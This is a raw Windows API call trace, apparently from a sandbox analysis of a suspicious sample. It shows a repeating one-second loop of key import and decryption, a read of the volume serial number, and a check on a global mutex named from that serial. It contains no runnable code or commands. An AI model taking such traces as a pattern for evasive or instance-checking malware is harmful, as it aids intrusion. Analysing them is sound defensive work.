[0160.576] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0160.576] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0160.576] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0160.577] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0160.577] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0160.577] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894f78) returned 1 [0160.577] CryptSetKeyParam (hKey=0x894f78, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0160.577] CryptDecrypt (in: hKey=0x894f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0160.577] CryptDestroyKey (hKey=0x894f78) returned 1 [0160.577] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0160.578] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0160.578] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0160.578] CloseHandle (hObject=0x4bc) returned 1 [0160.578] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0160.578] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0160.578] Sleep (dwMilliseconds=0x3e8) [0161.725] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0161.725] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951f8) returned 1 [0161.725] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0161.725] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0161.725] CryptDestroyKey (hKey=0x8951f8) returned 1 [0161.725] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0161.725] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0161.725] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0161.726] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8951f8) returned 1 [0161.726] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0161.726] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0161.726] CryptDestroyKey (hKey=0x8951f8) returned 1 [0161.726] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0161.726] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0161.726] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0161.726] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0161.726] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.726] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0161.726] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0161.726] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895438) returned 1 [0161.726] CryptSetKeyParam (hKey=0x895438, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0161.726] CryptDecrypt (in: hKey=0x895438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0161.726] CryptDestroyKey (hKey=0x895438) returned 1 [0161.726] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0161.726] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0161.726] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0161.726] CloseHandle (hObject=0x4bc) returned 1 [0161.727] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0161.727] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0161.727] Sleep (dwMilliseconds=0x3e8) [0163.740] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0163.740] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8951f8) returned 1 [0163.740] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0163.740] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0163.740] CryptDestroyKey (hKey=0x8951f8) returned 1 [0163.740] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0163.741] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0163.741] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0163.741] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x8951f8) returned 1 [0163.741] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0163.741] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0163.741] CryptDestroyKey (hKey=0x8951f8) returned 1 [0163.741] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0163.741] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0163.741] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0163.741] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0163.741] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.741] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0163.741] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0163.741] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x895238) returned 1 [0163.742] CryptSetKeyParam (hKey=0x895238, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0163.742] CryptDecrypt (in: hKey=0x895238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0163.742] CryptDestroyKey (hKey=0x895238) returned 1 [0163.742] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0163.742] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0163.742] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0163.742] CloseHandle (hObject=0x4bc) returned 1 [0163.742] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0163.742] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0163.742] Sleep (dwMilliseconds=0x3e8) [0165.290] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0165.290] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x8950b8) returned 1 [0165.290] CryptSetKeyParam (hKey=0x8950b8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0165.290] CryptDecrypt (in: hKey=0x8950b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0165.290] CryptDestroyKey (hKey=0x8950b8) returned 1 [0165.290] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0165.290] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0165.290] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0165.290] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895378) returned 1 [0165.290] CryptSetKeyParam (hKey=0x895378, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0165.290] CryptDecrypt (in: hKey=0x895378, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0165.290] CryptDestroyKey (hKey=0x895378) returned 1 [0165.290] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0165.290] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0165.290] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0165.291] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0165.291] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0165.291] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0165.291] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0165.291] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894f38) returned 1 [0165.291] CryptSetKeyParam (hKey=0x894f38, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0165.291] CryptDecrypt (in: hKey=0x894f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0165.291] CryptDestroyKey (hKey=0x894f38) returned 1 [0165.291] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0165.291] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0165.291] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0165.291] CloseHandle (hObject=0x4bc) returned 1 [0165.291] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0165.292] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0165.292] Sleep (dwMilliseconds=0x3e8) [0166.482] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0166.560] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x894ef8) returned 1 [0166.560] CryptSetKeyParam (hKey=0x894ef8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0166.560] CryptDecrypt (in: hKey=0x894ef8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0166.560] CryptDestroyKey (hKey=0x894ef8) returned 1 [0166.560] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0166.560] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0166.560] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0166.560] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x894eb8) returned 1 [0166.560] CryptSetKeyParam (hKey=0x894eb8, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0166.560] CryptDecrypt (in: hKey=0x894eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0166.560] CryptDestroyKey (hKey=0x894eb8) returned 1 [0166.560] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0166.560] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0166.560] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0166.560] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0166.560] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.560] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0166.560] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0166.560] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894f78) returned 1 [0166.560] CryptSetKeyParam (hKey=0x894f78, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0166.560] CryptDecrypt (in: hKey=0x894f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0166.560] CryptDestroyKey (hKey=0x894f78) returned 1 [0166.560] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0166.561] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0166.561] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0166.561] CloseHandle (hObject=0x4bc) returned 1 [0166.561] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0166.561] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0166.561] Sleep (dwMilliseconds=0x3e8) [0167.916] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0167.916] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x895138) returned 1 [0167.916] CryptSetKeyParam (hKey=0x895138, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0167.916] CryptDecrypt (in: hKey=0x895138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0167.916] CryptDestroyKey (hKey=0x895138) returned 1 [0167.916] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0167.916] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0167.916] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0167.916] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895038) returned 1 [0167.916] CryptSetKeyParam (hKey=0x895038, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0167.916] CryptDecrypt (in: hKey=0x895038, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0167.916] CryptDestroyKey (hKey=0x895038) returned 1 [0167.916] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0167.916] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0167.916] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0167.917] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0167.917] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.917] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0167.917] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0167.917] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x894eb8) returned 1 [0167.917] CryptSetKeyParam (hKey=0x894eb8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0167.917] CryptDecrypt (in: hKey=0x894eb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0167.917] CryptDestroyKey (hKey=0x894eb8) returned 1 [0167.917] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0167.917] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0167.917] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0167.917] CloseHandle (hObject=0x4bc) returned 1 [0167.917] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0167.917] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0167.917] Sleep (dwMilliseconds=0x3e8) [0168.928] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0168.928] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x894ff8) returned 1 [0168.928] CryptSetKeyParam (hKey=0x894ff8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0168.928] CryptDecrypt (in: hKey=0x894ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0168.928] CryptDestroyKey (hKey=0x894ff8) returned 1 [0168.928] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0168.928] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0168.928] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0168.928] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd0c | out: phKey=0xc0fd0c*=0x895278) returned 1 [0168.928] CryptSetKeyParam (hKey=0x895278, dwParam=0x1, pbData=0xc0fcf4, dwFlags=0x0) returned 1 [0168.928] CryptDecrypt (in: hKey=0x895278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3704008, pdwDataLen=0xc0fcc0 | out: pbData=0x3704008, pdwDataLen=0xc0fcc0) returned 1 [0168.928] CryptDestroyKey (hKey=0x895278) returned 1 [0168.928] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3704008 | out: hHeap=0x23a0000) returned 1 [0168.928] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a12a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0168.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c8 | out: hHeap=0x23a0000) returned 1 [0168.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0168.929] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc0fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc0fd74*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0168.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0168.929] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0168.929] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fd00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd68 | out: phKey=0xc0fd68*=0x8954b8) returned 1 [0168.929] CryptSetKeyParam (hKey=0x8954b8, dwParam=0x1, pbData=0xc0fd50, dwFlags=0x0) returned 1 [0168.929] CryptDecrypt (in: hKey=0x8954b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0xc0fd1c | out: pbData=0x23a12a0, pdwDataLen=0xc0fd1c) returned 1 [0168.929] CryptDestroyKey (hKey=0x8954b8) returned 1 [0168.929] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a1520 [0168.929] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4bc [0168.929] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0168.929] CloseHandle (hObject=0x4bc) returned 1 [0168.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 [0168.929] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0168.929] Sleep (dwMilliseconds=0x3e8) [0170.114] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1520 [0170.114] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fccc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc0fd34 | out: phKey=0xc0fd34*=0x894ef8) returned 1 [0170.114] CryptSetKeyParam (hKey=0x894ef8, dwParam=0x1, pbData=0xc0fd1c, dwFlags=0x0) returned 1 [0170.114] CryptDecrypt (in: hKey=0x894ef8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1520, pdwDataLen=0xc0fce8 | out: pbData=0x23a1520, pdwDataLen=0xc0fce8) returned 1 [0170.114] CryptDestroyKey (hKey=0x894ef8) returned 1 [0170.114] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a12a0 [0170.114] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c8 [0170.114] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x3704008 [0170.114] CryptImportKey (in: hProv=0x8067b0, pbData=0xc0fca4, dwDataLen=0x4c, hPubKey=0x0, 